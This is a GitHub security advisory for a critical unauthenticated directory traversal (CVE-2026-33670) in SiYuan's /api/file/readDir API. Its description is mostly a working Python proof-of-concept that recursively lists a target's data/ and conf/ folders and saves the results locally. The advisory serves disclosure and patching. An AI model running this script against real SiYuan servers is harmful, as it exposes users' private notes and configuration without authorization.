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SiYuan has directory traversal within its publishing service

Critical severity GitHub Reviewed Published Mar 23, 2026 in siyuan-note/siyuan • Updated Mar 27, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 0.0.0-20260317012524-fe4523fff2c8

Patched versions

None

Description

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys

def poc(target):
    base = target.rstrip("/")
    url = f"{base}/api/file/readDir"

    def read_dir(path, depth=0, max_depth=4):
        try:
            r = requests.post(url, json={"path":path},
                            headers={"Content-Type":"application/json"}, timeout=10)
            data = r.json()
        except Exception as e:
            return
        if data.get("code") != 0:
            return

        entries = data.get("data") or []
        for entry in entries:
            name = entry.get("name","")
            if name.startswith("."):
                continue
            icon = "📁" if entry.get("isDir") else "📄"
            indent = "  " * depth
            print(f"  {indent}{icon} {name}")

            if entry.get("isDir") and depth < max_depth:
                read_dir(f"{path}/{name}", depth+1, max_depth)

    # 遍历根目录
    print("[+] 漏洞存在!开始遍历\n")
    print("  📂 data/")
    read_dir("data", max_depth=2)

    print("\n  📂 conf/")
    read_dir("conf", max_depth=2)

    # 保存
    try:
        r = requests.post(url, json={"path":"data"},
                        headers={"Content-Type":"application/json"}, timeout=10)
        with open("readdir.json","w",encoding="utf-8") as f:
            json.dump(r.json(), f, ensure_ascii=False, indent=2)
        print(f"\n[+] 根目录数据已保存: readdir.json")
    except: pass

if __name__ == "__main__":
    poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")

Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

image

插件文件夹

image

conf文件夹

image

### References - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww - https://nvd.nist.gov/vuln/detail/CVE-2026-33670
@88250 88250 published to siyuan-note/siyuan Mar 23, 2026
Published to the GitHub Advisory Database Mar 25, 2026
Reviewed Mar 25, 2026
Published by the National Vulnerability Database Mar 26, 2026
Last updated Mar 27, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-33670

GHSA ID

GHSA-xmw9-6r43-x9ww

Source code

Credits

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